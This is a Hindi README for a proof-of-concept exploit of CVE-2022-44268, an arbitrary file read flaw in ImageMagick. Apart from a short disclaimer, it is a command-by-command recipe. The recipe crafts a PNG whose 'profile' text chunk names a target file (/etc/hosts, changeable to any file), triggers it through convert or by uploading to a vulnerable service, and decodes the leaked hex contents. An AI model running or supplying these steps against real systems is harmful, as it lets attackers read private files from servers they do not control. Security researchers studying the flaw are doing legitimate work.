CVE-2022-44268 ImageMagick मनमाना फ़ाइल पढ़ने का PoC

CVE-2022-44268 ImageMagick मनमाना फ़ाइल पढ़ने के लिए PoC - पेलोड जनरेटर

यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए बनाया गया है और इसका उपयोग कानून उल्लंघन या व्यक्तिगत लाभ के लिए नहीं किया जा सकता है।

इस प्रोजेक्ट के लेखक इस प्रोजेक्ट की सामग्री से होने वाले किसी भी संभावित नुकसान के लिए ज़िम्मेदार नहीं हैं।

मूल खोज: https://www.metabaseq.com/imagemagick-zero-days/

उपयोग:

निर्भरताएँ स्थापित करना:

1. $ apt-get install pngcrush imagemagick exiftool exiv2 -y

नीचे उस फ़ाइल का नाम बदलें जिसे आप पढ़ना चाहते हैं:

2. $ pngcrush -text a "profile" "/etc/hosts" vjp.png

पुष्टि करें कि सब कुछ पूरी तरह से काम किया

3. $ exiv2 -pS pngout.png

convert के माध्यम से PoC ट्रिगर करें या कमज़ोर सेवा पर छवि अपलोड करें:

4. $ convert pngout.png gopro.png

पढ़ी गई फ़ाइल की सामग्री देखें:

5. $ identify -verbose gopro.png

सामग्री को डिक्रिप्ट करें:

6. $ python3 -c 'print(bytes.fromhex("23202f6574632f686f73740a3132372e302e302e31096c6f63616c686f73740a0a232054686520666f6c6c6f77696e67206c696e65732061726520646573697261626c6520666f7220495076362063617061626c6520686f7374730a3a3a3109096c6f63616c686f7374206970362d6c6f63616c686f7374206970362d6c6f6f706261636b0a666630323a3a3109096970362d616c6c6e6f6465730a666630323a3a3209096970362d616c6c726f75746572730a6475636e740a").decode("utf-8"))'

डेमो

Ubuntu 22.04 और डिफ़ॉल्ट इंस्टॉल किए गए imagemagick के साथ परीक्षण किया गया।